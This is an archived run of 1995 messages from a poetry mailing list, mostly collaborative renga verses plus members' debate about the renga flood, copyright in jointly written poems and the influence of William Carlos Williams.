> *books.And flew > >> >>> >>*
> *(...)*
>
> *spending the bulk of closure with sentient scoops*
> *that fluke picnic shot out of these worlds we spread been-to*
> *say that the center cannot hold the nose tackle much longer*
> *than a clam can sleeve out of incarceration baldly*
> *go where others fear to operate the biggest donors hive*
> *& where Mars collides with the small world of "It's a small world"*
> *ripe for macroscopes to pump or slice or butterfly away*
> *from that ardent bugged heliotrope and pledge allegiance through*
> *ostension--we stopped short of the shortstop stigmata*
> *this time pencilled in as tangly wisps instead of memory*
> *detonations: but don't forget to dismember the doloroso*
> *pitchpipe with its squeal subtracted and the dotted-line relationships*
> *and sing "I Love Time but I love Your Spatial Simulacra Much More"*
> *for the brevity inferred and for the latchkey touch more like a feather*
> *drizzling ribs trained sultry moments gathering to migrate south*
> *no one so maybe-ed became an ornament before the chastening playoffs*

↑ Index

845. **Jorge Guitart**
Re: renga - the sequel
Mon 25 Sep 1995

On Fri, 22 Sep 1995, Sheila E. Murphy wrote:

hobbyist quaffs juleps poured in the direction of the skids
weave a pro toy aversion by the martyrs of cogency
who blather anyway with wrinkled tongues
i emptied the elf so that you and the felucca could fight

↑ Index

846. **Jorge Guitart**
Re: this break will or will not not branch
Mon 25 Sep 1995

Cris "Turn the Other" Cheek, the Noble Metal Dude wrote

> *In the books were dreams and in the dreams were books.*
> *And flew through windows, lightning green and fine morning*
> *[savage edit]*
> *demitassed to mean full-bodied wine with alcohol removed*
> *by trained leeches from under the rotting elastic, a feast*
> *of swirling eddies with beaucoup of labia & confetti*
> *starving time's scythe for water, matching colors to go*
> *crecheward into sweet line drawings clothed to world our*
> *words for water, falling four blocks away, finally, a gulf*
> *between perceived and rinsing water, shroud and comforter,*
> *flogging proud wet stones with patchwork flags making tenement hum*
> *with "Too late the coloscope" and "Cried the besotted gondry"*
> *fishing around with like with like and let it get too cold, "Hey,*
> *tell us apart" "Don't be saussure, tracy". "The name is trace, pal"*
> *spun on painted heels, then "vanishing, not varnishing!" her smile*
> *like a large oblong condolence:"You pervasive you! Just kidding!"*

↑ Index

847. **Jorge Guitart**
Re: renga - the sequel
Mon 25 Sep 1995

> *hobbyist quaffs juleps poured in the direction of the skids*
> *made by Chevettes sliding off the I5 south of Tacoma*
> *looking like a born-again, living like a heretic, listening*
> *to blues most simpering until the Camels dry away, stained fingertips*
> *on Cynthia's knees, prompting treasure taken forgiveness sighing*

> *that what weather blanches likes to crop and crops become our*
> *Anybody-Who-Had-Not-Had-Any idol so we ready the implementator*

↑ Index

848. **Jordan Davis.**
Re: renga - the sequel
Mon 25 Sep 1995

>hobbyist quaffs juleps poured in the direction of the skids
>weave a pro toy aversion by the martyrs of cogency
who blather anyway with wrinkled tongues
"I dig a pygmy, by Charles Autry and the Deaf-Aids,"

↑ Index

849. **Jordan Davis.**
Re: renga - the sequel
Mon 25 Sep 1995

>hobbyist quaffs juleps poured in the direction of the skids
>stuffs morton's insistence on intermittency shaking freely
>makes neo-grotesque be taken at stock value while admitting
>thereupon frocked simultaneities strangle muscles promiscuously
because theorems are delicious basked rather than fortified
nature kids, I / they don't have no function

↑ Index

850. **Jordan Davis.**
disadvised quotation from ford madox ford
Mon 25 Sep 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds
The rook to the knight here by King's Bishop Three
Something has changed in the nature of friendship
But wouldn't you know it, Mrs. Mullett next in line
For food stamps, quints racing about the linoleum
Everything leans on the verb, falling, sighs
Twelve at least, one loves only firm, and firm
feels good to her it feels real good, & the corset
blanches from so many passwords being lifted like expected bans

on metaphors that the folks at the contagious hospital
thought we might be weaned of early, late, whatever,
but I am taking the broken glass as a token of my first epiphany
sassafras is my powerlessness to split scintillas in the mist
of lathering first frost as noon comes on like torqued weed
sucking on the indescribable and taking the ineffable for a walk
to Paris via seed cigars and chicory and plantain butts
mixed with automaton condolences nixed by Dr. Reynolds
"God damn _you_, Mr. Henley. Hasten the chinchilla!"

↑ Index

851. Jordan Davis.

Re: All rengae sound the same

Mon 25 Sep 1995

Last day at old aol which seems to send me a clump of messages in the morning (or is it the buffalo doing that) so if people (people) have sent messages of greater cogency on this, sorry, I spoke (wrote?) partly deaf--

but the binding rules are pretty clear,
a line has to be so long, and so opaque (I mean interruptive,

I suspect a renga (have you seen the renga on the web? I think it's listed through Yahoo--not this renga, one re: Hiroshima..)

I suspect a renga of lines half the length might invoke
fewer ghosts of blank verse

plural of renga is rengae? I guess so

Jordan Davis (from now on at [redacted])

↑ Index

852. Alan Sondheim

Re: All rengae sound the same

Mon 25 Sep 1995

It's interesting, finally, to think of poetry as viral; I tend to do the same. Surely here it's without ceremony, driving out other writing as well. Poetry as substance, something to think about.

Alan

On Mon, 25 Sep 1995, Burt Kimmelman [redacted] wrote:

> *Hey Ron!*
>
> *You mean to say that you have actually READ the last five hundred rengae?*

> *When I see a renga, I reach for that good ol' delete key.*
>
> *Burt*

↑ Index

853. **Thomas Bell**
New Form Re:renga oldies but goodies
Mon 25 Sep 1995

On Sep 24 Maria Damon wrote:

>oldies but goodies magnificent fun! awarming floater chevrons, india
>november delta apple, gloria soames!
Soup's on. The line Wavers
bid adieux as we drift up the styxx and stones never give an even

↑ Index

854. **Herb Levy**
Re: Another Renga Request
Mon 25 Sep 1995

Jorge -

While few people (if any) go to the trouble to register copyright for anything they post to newsgroups, mail lists, etc., everyone technically "owns" the texts they write, regardless of the context in which they were published. You may chose to (or not to) register your copyright with the appropriate governmental agency, or you can assign it to EPC or whoever you wish if you so choose, but the copyright for your words is yours unless you take some kind of action.

Online text (or visuals or sound, or whatever) is not (yet) in the public domain, despite the fact that it is often treated as if it is.

Which is not to deny the truth & utility of citing the situation and location of the original "renga."

That said, add my name to the list of folks who zap rengas on sight.

Bests

Herb

Jorge wrote:

> *Amen to what Cris is saying.*
> *On the other hand I am thinking that perhaps no permission is needed in any case because anything posted is in the public domain? EPC should be thanked as courtesy. On the other hand, in the improbable case that some*

> *money will be made from publishing any rengas in whole or in part, perhaps the money should be donated to the institution where the list originates, i.e., SUNY at Buffalo, which pays for EPC.*

On Fri, 22 Sep 1995, cris cheek wrote:

> *Hi Eryque,*
> *I'm with Jorge's response on this one. And would say publish any version or branches you have copies of that you enjoy - as 'work in progress'.*
> *But I do feel that the Poetics list should be mentioned, as should the fact that many other contributions / interventions have affected the branching process and the choices made.*
>
> *love and love*
> *cris*

Herb Levy
[redacted]

↑ Index

855. **George Bowering**
Re: renga - the sequel(b)
Mon 25 Sep 1995

hobbyist quaffs juleps poured in the direction of the skids stuffs morton's insistence on intermittency shaking freely makes neo-grotesque be taken at stock value while admitting thereupon frocked simultaneities strangle muscles promiscuously because theorems are delicious basked rather than fortified nature kids, I / they don't have no function no pause button, no inclination to re wind, just at 12:12

↑ Index

856. **George Bowering**
Re: renga - the sequel(c)
Mon 25 Sep 1995

hobbyist quaffs juleps poured in the direction of the skids
stuffs morton's insistence on intermittency shaking freely
makes neo-grotesque be taken at stock value while admitting
splits of shares like to be hitched to stories
about stabat pater doloroso with kidney statuettes

along streets in San Luis Obispo
back trails near Olympia,

↑ Index

857. **Alan Sondheim**
Re: renga - the sequel(c)
Mon 25 Sep 1995

---

stop hobbyist quaffs juleps poured in the direction of the skids
stop stuffs morton's insistence on intermittency shaking freely
stop makes neo-grotesque be taken at stock value while admitting
stop splits of shares like to be hitched to storie
stop about stabat pater doloroso with kidney statuettes
and stop at the streets of bakersfield
and stop in the valley of death for you have forsaken me
and stop in needles california and stop

↑ Index

858. **George Bowering**
Re: renga - the sequel(d)
Mon 25 Sep 1995

>
> >hobbyist quaffs juleps poured in the direction of the skids
> >stuffs morton's insistence on intermittency shaking freely
> >leaf stems cubes whirl about as hobbyist pauses to consider
> >lunch as a pearl of sanitized dung in relation to
> >mythology's transference of lettuce, permission to unleash
> a rinse as whimsy over the leafed personalities de
connivence l'ampleur des images tout

↑ Index

859. **George Bowering**
Re: renga
Mon 25 Sep 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds
The rook to the knight here by King's Bishop Three
Something has changed in the nature of friendship

But wouldn't you know it, Mrs. Mullett next in line
For food stamps, quints racing about the linoleum
Everything leans on the verb, falling, sighs
Twelve at least, one loves only firm, and firm
feels good to her it feels real good, & the corset
blanches from so many passwords being lifted like expected bans
on metaphors that the folks at the contagious hospital
thought we might be weaned of early, late, whatever
the contagious wind strikes a chord with nothing ventured
maimed, my parents won't let me play with density>
because its quantity is known, and they prefer unknowns
to Belarus stockmen deflowering everything in sight, grim
Homolkaesque behaviourists - but quality refrigerators:
    forensically "I seem to be a verb"
        or a Serb, an herb

↑ Index

860. **George Bowering**

Re: this break will or will not not branch

Mon 25 Sep 1995

>
> >Jorge, the Nobel Savage, wrote
>
            --The hell he is!--GB

> *In the books were dreams and in the dreams were books.*
> *And flew through windows, lightning green and fine morning*
> *[savage edit]*
> *demitassed to mean full-bodied wine with alcohol removed*
> *by trained leeches from under the rotting elastic, a feast*
> *of swirling eddies with beaucoup of labia & confetti*
> *starving time's scythe for water, matching colors to go*
> *crecheward into sweet line drawings clothed to world our*
> *words for water, falling four blocks away, finally, a gulf*
> *between perceived and rinsing water, shroud and comforter,*
> *flogging proud wet stones with patchwork flags making tenement hum*
> *with "Too late the coloscope" and "Cried the besotted gondry"*
> *fishing around with like with like and let it get too cold, "Hey,*
> *tell us apart" "Don't be saussure, tracy". "The name is trace, pal"*
> *spun on painted heels, then "vanishing, not varnishing!" her smile*

↑ Index

861. **George Bowering**
Re: Minna Street
Mon 25 Sep 1995

Kit Robinson = Brisk Notion

(now, there's a NICE one!)

Ia anagram OuLiPoian?

↑ Index

862. **Jordan Davis**
Re: New Form Re:renga oldies but goodies
Mon 25 Sep 1995

---

oldies but goodies magnificent fun! awarming floater chevrons, india
november delta apple, gloria soames!
                Soup's on. The line Wavers
the circle sway oh conduit oh my limitless combinatorial

↑ Index

863. **George Bowering**
Re: Cecil
Mon 25 Sep 1995

Dora Fitzgerald remembers with fondness dancing with Cecil. Oh, he's coming to Seattle just when I'm going to Denmark. Phh. Lately I been reading _Jazziz_ but someone always nabs the free CD before I get it. Rumours here that carla Bley and Gary Peacock are coming to town No, is it gary Peacock? Of course not, it's Steve Swallow, I think? Anyway, if they do a trio, who is the drummer? Have I been sniffing too much pond-fish food?

↑ Index

864. **Jordan Davis**
Re: renga - the sequel
Mon 25 Sep 1995

> *hobbyist quaffs juleps poured in the direction of the skids*
> *made by Chevettes sliding off the I5 south of Tacoma*
> *looking like a born-again, living like a heretic, listening*
> *to blues most simpering until the Camels dry away, stained fingertips*
> *on Cynthia's knees, prompting treasure taken forgiveness sighing*
> *that what weather blanches likes to crop and crops become our*
> *sinecures till old age beckons with a tower of '45s*
> *"old age beckons" "a born-again" "poured in" "camels"*

↑ Index

865. **Jordan Davis**
Re: renga - the sequel(c)
Mon 25 Sep 1995

> *hobbyist quaffs juleps poured in the direction of the skids*
> *stuffs morton's insistence on intermittency shaking freely*
> *makes neo-grotesque be taken at stock value while admitting*
> *splits of shares like to be hitched to stories*
> *about stabat pater doloroso with kidney statuettes*
> *along streets in San Luis Obispo*
> *back trails near Olympia,*
> *and she is dying piecemeal of a sort of emotional aenemia*

↑ Index

866. **George Bowering**
Re: spike it with saussure - begins the intramix...
Mon 25 Sep 1995

> *Some fans of Dick Assman wrote*
>
> *The Hell we did! --GB and RS*
>
> *In the books were dreams and in the dreams were books*
> *incorporating the end of timewarps and troves treasured*
> *the mercator projection of horniness and thou; for thou is*
> *Wow! What a catch! Yowza! Incorporating the dead heroes*
> *of Palookaville & the dead heroes of Guadalajara*
> *empowering scores of liberated mozos intent of Lacanian*
> *libretti, salted with much, much more than roughage added to taste*
> *doughboys & doughgirls, behaving like superfluous enigmas*
> *puzzling in contagious ways over the simplest rides to*
> *the grotto of our Lady of Corollaries during the Feast of the Enormity*
> *with widgets handprinted with obvious mistakes in limited editions*
> *shrink-wrapped to keep-out dangerfields and glut shelves of*

↑ Index

867. **George Bowering**
Re: be advised: wcw qtd in this renga
Mon 25 Sep 1995

> *"The Hell I am! --WCW*
>
> *In the books were dreams and in the dreams were books.*
> *And flew through windows, lightning green and fine morning*

> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The rook to the knight here by King's Bishop Three*
> *Something has changed in the nature of friendship*
> *But wouldn't you know it, Mrs. Mullett next in line*
> *For food stamps, quints racing about the linoleum*
> *Everything leans on the verb, falling, sighs*
> *Twelve at least, one loves only firm, and firm*
> *feels good to her it feels real good, & the corset*
> *blanches from so many passwords being lifted like expected bans*
> *on metaphors that the folks at the contagious hospital*
> *thought we might be weaned of early, late, whatever,*
> *but I am taking the broken glass as a token of my first epiphany*
> *sans snow, expansive though, fluent in half tones*

↑ Index

868. **Steve Carll**

Re: you & an army of mixed metaphors and forgotten half-truths...

Mon 25 Sep 1995

> *On Tue, 19 Sep 1995, Steve Carll wrote:*
>
> *This is probably the concomitant danger of the attempt to poetize trivia, to champion "simple everyday speech." Certainly when WCW's effort fails, the trivia stays trivial and the poetry joins it.*

And then Jeffrey Timmons responded:

> *I'm not sure I can agree that WcW fails. In fact, as my posts have suggested, he is important because he succeeded so well at turning poetry to the everyday. If the everyday is trivial, well, then I too wish we could live in the poems we all dream. The everyday is not trivial and is worthy of poetry.*

now Steve in turn says,

No, no, I didn't mean to say that Williams' whole project is a failure. I meant at those individual moments or poems where the actual work doesn't quite measure up to the project. I wouldn't say all his poems were successful (by whatever criteria), just as I wouldn't say they all fail (how wishy-washy of me!) But I would amend your last statement: the everyday is not *inherently* trivial. Some of us (people) make and experience it that way all the time, and maybe all of us experience it that way much of the time. That's what makes the striking things so striking: the contrast.

↑ Index

869. **Steve Carll**
Re: you & an army of mixed metaphors and forgotten half-truths...
Mon 25 Sep 1995

Jeffrey Timmons posits:

> *doesn't*
> *your statement assume that you can purge the "tradition" of WcW's*
> *presence? That we don't need him? Sure, there were alternatives to him,*
> *differently phrased positions, certainly, but you are arguing against*
> *history here. Rimbaud and Keats and WcW made different versions of*
> *poetics available. Just as you must deal with Whitman, you must deal*
> *with WcW's influence (though admitedly on a whole different scale). It's*
> *not a question of substituting different versions of poetics for another*
> *(though this raises an interesting question of just that possibility),*
> *but, rather, of attending to the polyphony of different voices in*
> *dialogue with each other.*

Good point. The influence isn't going to go away, for awhile anyway. It's just a question of how loudly his voice sounds in our ears compared to all the other voices. Ed, maybe you're just sick of the New Jersey accent?

Steve

↑ Index

870. **Robert Drake**
bromige www exhibit
Mon 25 Sep 1995

---

folks here might be interested in a Web exhibit of some of Bromige's poems, accompanied by paintings, at:

http://www.sonoma.edu/Library/Exhibits/Bromige

apologies if this was mentioned while i was offline, onvacation...

lbd

↑ Index

871. **Jorge Guitart**
Re: Renga moan
Mon 25 Sep 1995

Why don't you start on a real Poetics topic that would be so engrossing that even the rengans would stop what they are doing and come listen in awed silence?

Things that probably count less as poetics than poetry making:

list of bedside readings
announcements about readings
bibliographical info
commercial info (book x available from press y)
anecdotes about bookstores
editorials about bookstores
comments about the political scene
jokes (in prose)
anagrams
opinions about whether wcwilliams is boring or not

jg

On Mon, 25 Sep 1995, Burt Kimmelman [redacted] wrote:

> *Somebody give the Rengaists a chat line of their own and/or an electronic magazine. Is "Poetics" the same thing as "Poetry"? I don't mean to be restrictive, but, as the joke goes about the husband (no sexism intended) who petitions the judge for a divorce from his wife of fifty years, and the judge asks, why, after all this time could you possibly want a divorce, the husband replies, "Enough is enough already!"*

↑ Index

872. **Jorge Guitart**
Re: All rengae sound the same
Mon 25 Sep 1995

---

this message, and the one it replies to, do they count as poetics or not?

Burt, if you can delete, what is the problem? Hey , come and play with us. it's all right.

On Mon, 25 Sep 1995, Burt Kimmelman [redacted] wrote:

> *Hey Ron!*
>
> *You mean to say that you have actually READ the last five hundred rengae? When I see a renga, I reach for that good ol' delete key.*
>
> *Burt*

↑ Index

873. Jordan Davis
Re: Renga moan
Mon 25 Sep 1995

Tell it like it is Jorge
but don't forget the old
"is there really a David
Ayre" kumquat preservers

↑ Index

874. Alan Sondheim
Re: crow moan
Mon 25 Sep 1995

---

in the mountains, last

i'm in the mountains. it's dark. i can't see anything.
i decide to go north. there's reason to go somewhere, and there is no reason to go anywhere in particular.
north, i say.
you can't go that way, it says.
it might say there is a mine there or a cave there but i can't feel it.
it's large whatever it is. i can't see the ceiling.
look ceiling.
you see nothing special.
there may be a rustling there but i can't hear it. i decide i'm outside.
west, i say.
you come to the mountains.
west, i say.
you come to the mountains.
west, i say.
you come to the mountains and there is a dead bird, shunted from another space, and it is black and glistening. the center of its body shimmers.
look center.
you come to the mountains.
enter center.
you come through the mountains. you may be in the mountains. you hear the sound of children dreaming. the children are dreaming disturbing dreams.
enter dreams.
you enter the dreams of the children. there is the sound of wings.
listen.
you hear nothing.

listen.
you hear nothing.
listen west.
you hear the sound of wings.

↑ Index

875. **Jorge Guitart**
Re: this break will or will not not branch
Mon 25 Sep 1995

Sheila, the empress of rice dream, wrote

> *In the books were dreams and in the dreams were books.*
> *And flew through windows, lightning green and fine morning*
> *[savage edit]*
> *demitassed to mean full-bodied wine with alcohol removed*
> *by trained leeches from under the rotting elastic, a feast*
> *of swirling eddies with beaucoup of labia & confetti*
> *starving time's scythe for water, matching colors to go*
> *crecheward into sweet line drawings clothed to world our*
> *words for water, falling four blocks away, finally, a gulf*
> *between perceived and rinsing water, shroud and comforter,*
> *flogging proud wet stones with patchwork flags making tenement hum*
> *with "Too late the coloscope" and "Cried the besotted gondry"*
> *fishing around with like with like and let it get too cold, "Hey,*
> *tell us apart" "Don't be saussure, tracy". "The name is trace, pal"*
> *spun on painted heels, then "vanishing, not varnishing!" her smile*
> *impossibly relaxed when thinking about pain beside the capability of boredom*
> *by the volcano that was sacred on the basis of size not merit*

↑ Index

876. **Jorge Guitart**
Re: renga - the sequel
Mon 25 Sep 1995

On Mon, 25 Sep 1995, Jordan Davis. wrote:

> *hobbyist quaffs juleps poured in the direction of the skids*
> *weave a pro toy aversion by the martyrs of cogency*
> *who blather anyway with wrinkled tongues*
> *"I dig a pygmy, by Charles Autry and the Deaf-Aids,"*
> *this is premature but the character of our contents is dents*

↑ Index

877. **Jorge Guitart**
Re: New Form Re:renga oldies but goodies
Mon 25 Sep 1995

On Mon, 25 Sep 1995, Thomas Bell wrote:

> On Sep 24 Maria Damon wrote:
>
> >oldies but goodies magnificent fun! awarming floater chevrons, india
> >november delta apple, gloria soames!
> Soup's on. The line Wavers
> bid adieux as we drift up the styxx and stones never give an even
 trek to vous finirez la maison de M. Usher, Madame Biere

↑ Index

878. **Jorge Guitart**
Re: Another Renga Request
Mon 25 Sep 1995

Herb, many thanks for the info

about zapping rengas: you are missing poetic history in the making.

On Mon, 25 Sep 1995, Herb Levy wrote:

> *Jorge -*
>
> *While few people (if any) go to the trouble to register copyright for anything they post to newsgroups, mail lists, etc., everyone technically "owns" the texts they write, regardless of the context in which they were published. You may chose to (or not to) register your copyright with the appropriate governmental agency, or you can assign it to EPC or whoever you wish if you so choose, but the copyright for your words is yours unless you take some kind of action.*
>
> *Online text (or visuals or sound, or whatever) is not (yet) in the public domain, despite the fact that it is often treated as if it is.*
>
> *Which is not to deny the truth & utility of citing the situation and location of the original "renga."*
>
> *That said, add my name to the list of folks who zap rengas on sight.*
>
> *Bests*
>
> *Herb*

> *Jorge wrote:*
>
> *Amen to what Cris is saying.*
> *On the other hand I am thinking that perhaps no permission is needed in any case because anything posted is in the public domain? EPC should be thanked as courtesy. On the other hand, in the improbable case that some money will be made from publishing any rengas in whole or in part, perhaps the money should be donated to the institution where the list originates, i.e., SUNY at Buffalo, which pays for EPC.*
>
> *On Fri, 22 Sep 1995, cris cheek wrote:*
>
> *Hi Eryque,*
> *I'm with Jorge's response on this one. And would say publish any version or branches you have copies of that you enjoy - as 'work in progress'.*
> *But I do feel that the Poetics list should be mentioned, as should the fact that many other contributions / interventions have affected the branching process and the choices made.*
>
> *love and love*
> *cris*
>
> *Herb Levy*
> [redacted]

↑ Index

879. **Louis Cabri**
"is my bubble showing?"
Tue 26 Sep 1995

The collaborative poem dulls and repeats when it lacks context. I'd say context is provided, and collective attentiveness created by the prose discussion. When the prose flags, the poetry becomes a-contextual somehow, performing eventual reifying services of the medium itself. In this medium the critical specifity that social contexts provide is made homogeneous and is virtually erased - markers a/effecting context, for instance just the fact of a post from New Zealand, or a post of Sept. 15th at 3:00 a.m. on a rented computer, etc., all but their names are erased from the emailed _message_ (in Jackobson's sense) itself, unlike, obviously, a letter (e.g. a type of paper, ink, envelope, etc., in short, of a specific

letter, from NZ). An established poet whose name is a currency in many media/genres and an unknown name floating solely in the listserv perform as peers, in a way, to a context-in-the-making (if there will be any at all). The most hardy and only context of the medium readily seems to be purely the informational one of distributing news economically. Good morning Virilio. Beyond that, what sort of informational poetics can arise? There needn't be anything more, of course. But if there is a desire for there to be something more, as perhaps the collaborative poem is hopefully a signal of (shurely not the opposite, that is, narcissistic emblems of a socioeconomically stable/wealthy livelihood??)... - then it would seem, tautologically, that social context will arise only through the information contributed, and that this would take form in the prose discussion (= the world). One available contextual tension the medium can create for "itself" and its agents beyond the role of information-distribution seems to be the dynamic between the poetry and the prose. When the prose dimishes, so too the poetry's affectivenes. I'm suggesting that the collaborative poem diminishes in appeal when a) the fetishistic aspect of the medium itself is allowed to dominate, going surreally out of control in the form of sheer quantity of postings by single and few contributors to the poem, and when b) there is a dwindling of prose dialogue - the only means of supplying contexts of address for the collaborative poem due to the character of the medium itself. So I think that the dismissal of the poetry is misplaced, or at best only half the story. Good night.

↑ Index

880. **Tenney Nathanson**
bravo eric pape
Tue 26 Sep 1995

---

neat that you took the bait, or bit the bullet, or the hair of the dog or whatever. thanks!
any more takers (in the FOH look-alike contest that is....)?

↑ Index

881. **Tenney Nathanson**
(no subject)
Tue 26 Sep 1995

> *Date: Mon, 25 Sep 1995 11:02:02 -0700*
> *From: "Aldon L. Nielsen" <[redacted]>*
> *Subject: Re: The News*
>
> *Thousnads of people died today for want of what could be found in poetry*
> *in what authorities are describing as the most tragic aesthetic disaster*

> *of the century. Exact figures are not yet available, but New Jersey disaster relief officials describe their region as particularly hard hit. One survivor interviewed at the Joyce Kilmer rest stop reported that she narrowly averted the fate that suddenly befell all those around her because she happened to glance at a scrap of verse someone had written on a wall just as nearly all the other passengers in her van collapsed from ennui.*

besides, I wanted you here on the ward
where I am the doctor

↑ Index

882. Tenney Nathanson
yep
Tue 26 Sep 1995

>Date: Sun, 24 Sep 1995 19:11:09 -0700
>From: Ron Silliman <[redacted]>
>Subject: Naming in America
>
>Tenney, to Billy Luoma's post,
>>>Pentium" Pro Processor Builds on Equity in Pentium Brand
>>
>you commented
>>is this news or poetry (I know people are miserably dying for lack of
>the news there--boring, right?--but really....?)
>>
>I took this as a post on naming in society, circa 1995, and found it
>absolutely compelling. The Pentium Pro, which will be a household name
>in about 3 years, is what we once would have called a "686" had the
>copyright laws not failed to protect Intel's claim to ownership of the
>"xx86" convention for computer chips....
(& etc)

Ron:

thanks for the subtle (within the veil) excursus. So it WAS poetry! I guess what I had in mind was a long poem Charles B read here in Tucson maybe 4-5 years ago now, which started with a long computer-blurb passage--which was compelling just because attention divided (mine did that is) between let's say materialized language or discourse AND, otoh, a kind of techie-groupie interest in whatever software was being described. So that: what Bill posted is nice, and IS poetry (rather than "rhetoric" [as] if that distinction still holds) because it's a little hard to tell whether one isn't spozed to (just?) share the enthusiasm over the new sleek model.

Maybe "pro" just means the floating decimal works?

I sit and look out
hunkering on 386sx20 haunch
dreaming of software not hardware....

it's renga, but jeez, what the hell does it mean?

↑ Index

883. **Ron Silliman**
Re: Is _Poetics Journal_ Dead?
Tue 26 Sep 1995

Jim,

I forwarded your question on to Lyn and Barrett, neither of whom are on the Poetics List. There is some question of whether Barry ever READS his email, but at least there is an address. The third editor (who has never seen his work as such make it to print), Kit Robinson, may want to reply in more detail.

My understanding is this. There was a long delay created by ye olde funding problems plus the mind-numbing detail of getting the PhD and doing the dissertation (no word yet on whether it has been completed). On top of which, Barry has been deeply ambivalent about poetry (and especially langpo) for some time. Kit was brought on to resolve some of the workload and inertia issues, but when Barry toddled off to Detroit, he took the manuscripts with him. Don't know where it currently stands. I once noted that he had achieved a status with my manuscripts normally reserved for the likes of Kirby Malone and Doug Messerli...greatest time held without publication. He was not amused.

Frankly, it's reasonable in such a situation to insist on publication or to take the work back.

The sad thing is that it was a great mag, particularly in the first five issues or so.

Ron Silliman
[redacted]

↑ Index

884. **Ron Silliman**
Re: Minna Street
Tue 26 Sep 1995

You wrote:
>
>Kit Robinson = Brisk Notion

>
>(now, there's a NICE one!)
>
>Ia anagram OuLiPoian?
>
Well that typo in the first word certainly is.

OuLiPoian? Sounds like that purple taro root paste they use in Hawaii. I always thought it was OuLiPuddlian.

↑ Index

885. **R I Caddel**
Rights and Rengas
Tue 26 Sep 1995

Yes, everyone owns what they write, and can therefore give or refuse permission to reproduce it. However, in some circumstances work can be reproduced without copyright holder's permission, providing that "all reasonable measures" to identify copyright holders and obtain permission have been taken. In the case of "works of multiple authorship" where it's difficult to identify individual rights, a rubric of this kind is often used. Obviously, this doesn't apply where the copyright holder has actually denied permission to reproduce. I'd say (privately, but not in court) that contacting the list where the renga was written is taking "all reasonable measures" providing that no mean-minded little so-and-so actually objects personally...

Or to put it another way: if you've rung the renga writer for their rights and got a ringer, you can quote the written renga with the writer's rights unritten - you can rate their rights unbidden and so on -

↑ Index

886. **R I Caddel**
David Miller
Tue 26 Sep 1995

Thanks for pointing out David Miller's new Burning Deck publication. David also has "The Book of the Spoonmaker" new from Cloud, 48 Biddlestone Road, Heaton, Newcastle on Tyne NE6 5SL (three pounds fifty including post; Sterling IMOs payable to Cloud).

There's also a few of his other books and a book of essays on him available from Stride, 11 Sylvan Road, Exeter EX4 6EW. x
x x Richard Caddel, E-mail: R.I.Caddel @ durham.ac.uk x x Durham University Library, Phone: 0[redacted] x x Stockton Rd. Durham

DH1 3LY Fax: 0[redacted] x x
x x "Words! Pens are too light. Take a chisel to write." x x
- Basil Bunting x x x

↑ Index

887. **Charles Alexander**
Re: Rights and Rengas
Tue 26 Sep 1995

> *Yes, everyone owns what they write, and can therefore give or refuse permission to reproduce it.*

Although in this renga in question, or at least in several versions of it, at least one of the lines I wrote (and I suspect this is true for others as well) has been altered by someone else without my permission. This has been done in ways I don't like at all (and to this I object), and more radically altered (the whole form of the renga) in ways I like quite a lot. So, whose writing is it? Did someone violate my rights by altering it in the first place?

> *I'd say (privately, but not in court) that contacting the list where the renga was written is taking "all reasonable measures" providing that no mean-minded little so-and-so actually objects personally...*

Maybe my objection makes me a mean-minded little so-and-so, except that I do give permissions to use whatever version anyone wants to use for any purpose whatsoever. But I think that this time I really mean it when I tell myself I'm not contributing to the rengas any more.

↑ Index

888. **Jordan Davis**
books and dreams
Tue 26 Sep 1995

It sounds like people are 12-stepping off the renga.
I hope you all are as weak about quitting as I suspect I am.
Louis, I'd like to see a demonstration, with charts,
of the correlation between quantity of prose
and zip in renga. Charles, as a renga debaser,
I apologize. Rights squabblers--go directly to the archive
and search for the following terms: collaborate, renga,
poem, "books were dreams". Then remember that everything
(according to the new welcome message) here is confidential
and that you shouldn't show anything written here to
anyone else.

Jordan Davis

↑ Index

889. Willa Jarnagin
Re: Renga moan
Tue 26 Sep 1995

On Mon, 25 Sep 1995, Burt Kimmelman [redacted] wrote:

> *Somebody give the Rengaists a chat line of their own and/or an electronic magazine. Is "Poetics" the same thing as "Poetry"? I don't mean to be restrictive, but, as the joke goes about the husband (no sexism intended) who petitions the judge for a divorce from his wife of fifty years, and the judge asks, why, after all this time could you possibly want a divorce, the husband replies, "Enough is enough already!"*

I've been lurking for a while but have to put in my vote: PLEASE, PLEASE, PLEASE, renga writers, get your own chat list! Yes, enough is enough. I don't have sophisticated email and can't filter messages, and I'm tired of my account getting clogged up and slowed down to the speed of sloths fucking.

Please excuse my rancor, but it does seem that people on this list are either totally FOR, or totally TIRED OF renga. If the list is already divided as such, why not spawn a new one? I think everyone would be happier.

Willa

↑ Index

890. Alan Golding
What's "poetics?"
Tue 26 Sep 1995

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

What counts as "poetics," Jorge asks? A reasonable enough question, to which I wish I had an answer. However: in Jorge's list of 10 "things that probably count less as poetics than poetry-making," one could find at least half in the poetry-making of (for instance) Pound, Olson, H.D., David Antin, Susan Howe . . . places where one would be hard put to find a single techno-renga.

Just sign me

Another Renga Crank

↑ Index

891. Gwyn McVay
A non-"poetics" anagram
Tue 26 Sep 1995

Without meaning to give any offense:

Alan Golding = "anal godling"

↑ Index

892. David Golumbia
Re: News Too
Tue 26 Sep 1995

> *Aldon L. Nielsen wrote:*
>
> *Speaking of hot shots -- Dinesh D'Souza has just published a book, _The End of Racism_, in which he asserts that slavery was not a racist institution. Young Mr. D'Souza got a grant five times the size of yours to "research" this book, and has been featured in two successive issues of the Chronicle of Higher Ed. [etc.]*

I try to glance through each of these shameful books as they come out. They make me want to wretch. But D'Souza's should be marked out for special attention. It is truly execrable. It even inspired the normally complacent Richard Rorty to something like moral outrage in the latest NYTBR.

One expects the resurgence of "scientific" racism in things like THE BELL CURVE at a time like this in our country, and knows the tremendous amount of argument & evidence that can be brought to bear against it as well -- small if cold comfort. But D'Souza's book goes so far beyond that -- making the most outrageous and unbelievable assertions (slavery not being racist among them). It is just gross.

